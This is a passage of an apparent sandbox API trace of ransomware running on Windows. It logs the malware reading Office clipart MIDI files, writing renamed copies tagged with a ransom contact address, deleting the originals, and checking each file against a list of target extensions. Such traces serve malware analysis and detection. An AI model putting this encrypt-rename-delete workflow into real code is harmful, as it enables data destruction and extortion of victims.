lpOverlapped=0x0) returned 1 [0299.599] WriteFile (in: hFile=0x568, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0299.599] SetEndOfFile (hFile=0x568) returned 1 [0299.599] CloseHandle (hObject=0x568) returned 1 [0299.599] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.599] SetEndOfFile (hFile=0x4f4) returned 1 [0299.602] CloseHandle (hObject=0x4f4) returned 1 [0299.602] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0299.602] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid")) returned 1 [0299.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0299.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0299.603] lstrlenW (lpString=".doc") returned 4 [0299.603] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0299.603] lstrlenW (lpString=".docx") returned 5 [0299.603] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0299.603] lstrlenW (lpString=".pdf") returned 4 [0299.603] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0299.603] lstrlenW (lpString=".xls") returned 4 [0299.603] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0299.603] lstrlenW (lpString=".xlsx") returned 5 [0299.603] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0299.603] lstrlenW (lpString=".ppt") returned 4 [0299.603] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0299.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0299.603] lstrlenW (lpString=".zip") returned 4 [0299.603] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0299.603] lstrlenW (lpString=".rar") returned 4 [0299.603] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0299.603] lstrlenW (lpString=".bz2") returned 4 [0299.603] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0299.603] lstrlenW (lpString=".7z") returned 3 [0299.604] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0299.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0299.604] lstrlenW (lpString=".dbf") returned 4 [0299.604] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0299.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0299.604] lstrlenW (lpString=".1cd") returned 4 [0299.604] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0299.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0299.604] lstrlenW (lpString=".jpg") returned 4 [0299.604] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0299.620] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=7567) returned 1 [0299.620] CloseHandle (hObject=0x4f0) returned 1 [0299.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid")) returned 0x220 [0299.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0299.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0299.621] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.621] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0299.622] GetLastError () returned 0x0 [0299.622] ReadFile (in: hFile=0x4f0, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x1d8f, lpOverlapped=0x0) returned 1 [0299.786] WriteFile (in: hFile=0x550, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x1d90, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x1d90, lpOverlapped=0x0) returned 1 [0299.787] ReadFile (in: hFile=0x4f0, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0299.787] WriteFile (in: hFile=0x550, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0299.787] SetEndOfFile (hFile=0x550) returned 1 [0299.787] CloseHandle (hObject=0x550) returned 1 [0299.787] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.787] SetEndOfFile (hFile=0x4f0) returned 1 [0299.789] CloseHandle (hObject=0x4f0) returned 1 [0299.789] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0299.804] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid")) returned 1 [0299.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0299.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0299.805] lstrlenW (lpString=".doc") returned 4 [0299.805] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0299.805] lstrlenW (lpString=".docx") returned 5 [0299.805] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0299.805] lstrlenW (lpString=".pdf") returned 4 [0299.805] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0299.805] lstrlenW (lpString=".xls") returned 4 [0299.805] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0299.805] lstrlenW (lpString=".xlsx") returned 5 [0299.805] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0299.805] lstrlenW (lpString=".ppt") returned 4 [0299.805] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0299.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0299.805] lstrlenW (lpString=".zip") returned 4 [0299.805] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0299.805] lstrlenW (lpString=".rar") returned 4 [0299.805] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0299.805] lstrlenW (lpString=".bz2") returned 4 [0299.805] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0299.805] lstrlenW (lpString=".7z") returned 3 [0299.805] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0299.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0299.805] lstrlenW (lpString=".dbf") returned 4 [0299.805] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0299.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0299.806] lstrlenW (lpString=".1cd") returned 4 [0299.806] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0299.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0299.806] lstrlenW (lpString=".jpg") returned 4 [0299.806] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0299.806] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=5843) returned 1 [0299.806] CloseHandle (hObject=0x4b0) returned 1 [0299.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid")) returned 0x220 [0299.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0299.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0299.807] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.807] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0299.808] GetLastError () returned 0x0 [0299.808] ReadFile (in: hFile=0x4b0, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x16d3, lpOverlapped=0x0) returned 1 [0299.857] WriteFile (in: hFile=0x4e8, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x16e0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x16e0, lpOverlapped=0x0) returned 1 [0299.858] ReadFile (in: hFile=0x4b0, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0299.858] WriteFile (in: hFile=0x4e8, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0299.858] SetEndOfFile (hFile=0x4e8) returned 1 [0299.858] CloseHandle (hObject=0x4e8) returned 1 [0299.858] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.858] SetEndOfFile (hFile=0x4b0) returned 1 [0299.900] CloseHandle (hObject=0x4b0) returned 1 [0299.900] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0299.901] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid")) returned 1 [0299.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0299.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0299.901] lstrlenW (lpString=".doc") returned 4 [0299.901] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0299.902] lstrlenW (lpString=".docx") returned 5 [0299.902] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0299.902] lstrlenW (lpString=".pdf") returned 4 [0299.902] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0299.902] lstrlenW (lpString=".xls") returned 4 [0299.902] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0299.902] lstrlenW (lpString=".xlsx") returned 5 [0299.902] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0299.902] lstrlenW (lpString=".ppt") returned 4 [0299.902] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0299.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0299.902] lstrlenW (lpString=".zip") returned 4 [0299.902] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0299.902] lstrlenW (lpString=".rar") returned 4 [0299.902] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0299.902] lstrlenW (lpString=".bz2") returned 4 [0299.902] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0299.902] lstrlenW (lpString=".7z") returned 3 [0299.902] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0299.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0299.902] lstrlenW (lpString=".dbf") returned 4 [0299.902] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0299.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0299.902] lstrlenW (lpString=".1cd") returned 4 [0299.902] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0299.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0299.902] lstrlenW (lpString=".jpg") returned 4 [0299.902] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0299.905] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=5968) returned 1 [0299.905] CloseHandle (hObject=0x4b0) returned 1 [0299.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid")) returned 0x220 [0299.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0299.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0299.906] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.906] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0299.907] GetLastError () returned 0x0 [0299.907] ReadFile (in: hFile=0x4b0, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x1750, lpOverlapped=0x0) returned 1 [0299.971] WriteFile (in: hFile=0x4c4, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x1760, lpOverlapped=0x0) returned 1 [0300.348] ReadFile (in: hFile=0x4b0, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0300.348] WriteFile (in: hFile=0x4c4, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0300.348] SetEndOfFile (hFile=0x4c4) returned 1 [0300.413] CloseHandle (hObject=0x4c4) returned 1 [0300.414] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0300.414] SetEndOfFile (hFile=0x4b0) returned 1 [0300.416] CloseHandle (hObject=0x4b0) returned 1 [0300.416] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0300.416] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid")) returned 1 [0300.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0300.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0300.417] lstrlenW (lpString=".doc") returned 4 [0300.417] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0300.417] lstrlenW (lpString=".docx") returned 5 [0300.417] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0300.417] lstrlenW (lpString=".pdf") returned 4 [0300.417] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0300.417] lstrlenW (lpString=".xls") returned 4 [0300.417] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0300.417] lstrlenW (lpString=".xlsx") returned 5 [0300.417] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0300.417] lstrlenW (lpString=".ppt") returned 4 [0300.417] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0300.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0300.417] lstrlenW (lpString=".zip") returned 4 [0300.417] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0300.418] lstrlenW (lpString=".rar") returned 4 [0300.418] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0300.418] lstrlenW (lpString=".bz2") returned 4 [0300.418] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0300.418] lstrlenW (lpString=".7z") returned 3 [0300.418] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0300.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0300.418] lstrlenW (lpString=".dbf") returned 4 [0300.418] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0300.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0300.418] lstrlenW (lpString=".1cd") returned 4 [0300.418] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0300.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0300.418] lstrlenW (lpString=".jpg") returned 4 [0300.418] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0300.607] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=5714) returned 1 [0300.607] CloseHandle (hObject=0x514) returned 1 [0300.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid")) returned 0x220 [0300.608] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0300.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0300.609] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0300.652] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0300.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0300.653] GetLastError () returned 0x0 [0300.653] ReadFile (in: hFile=0x514, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x1652, lpOverlapped=0x0) returned 1 [0300.874] WriteFile (in: hFile=0x4e8, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x1660, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x1660, lpOverlapped=0x0) returned 1 [0300.875] ReadFile (in: hFile=0x514, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0300.875] WriteFile (in: hFile=0x4e8, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0300.875] SetEndOfFile (hFile=0x4e8) returned 1 [0300.876] CloseHandle (hObject=0x4e8) returned 1 [0300.876] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0300.876] SetEndOfFile (hFile=0x514) returned 1 [0300.880] CloseHandle (hObject=0x514) returned 1 [0300.880] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0300.880] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid")) returned 1 [0300.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0300.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0300.881] lstrlenW (lpString=".doc") returned 4 [0300.881] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0300.881] lstrlenW (lpString=".docx") returned 5 [0300.881] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0300.881] lstrlenW (lpString=".pdf") returned 4 [0300.881] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0300.881] lstrlenW (lpString=".xls") returned 4 [0300.881] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0300.882] lstrlenW (lpString=".xlsx") returned 5 [0300.882] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0300.882] lstrlenW (lpString=".ppt") returned 4 [0300.882] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0300.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0300.882] lstrlenW (lpString=".zip") returned 4 [0300.882] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0300.882] lstrlenW (lpString=".rar") returned 4 [0300.882] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0300.882] lstrlenW (lpString=".bz2") returned 4 [0300.882] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0300.882] lstrlenW (lpString=".7z") returned 3 [0300.882] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0300.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0300.882] lstrlenW 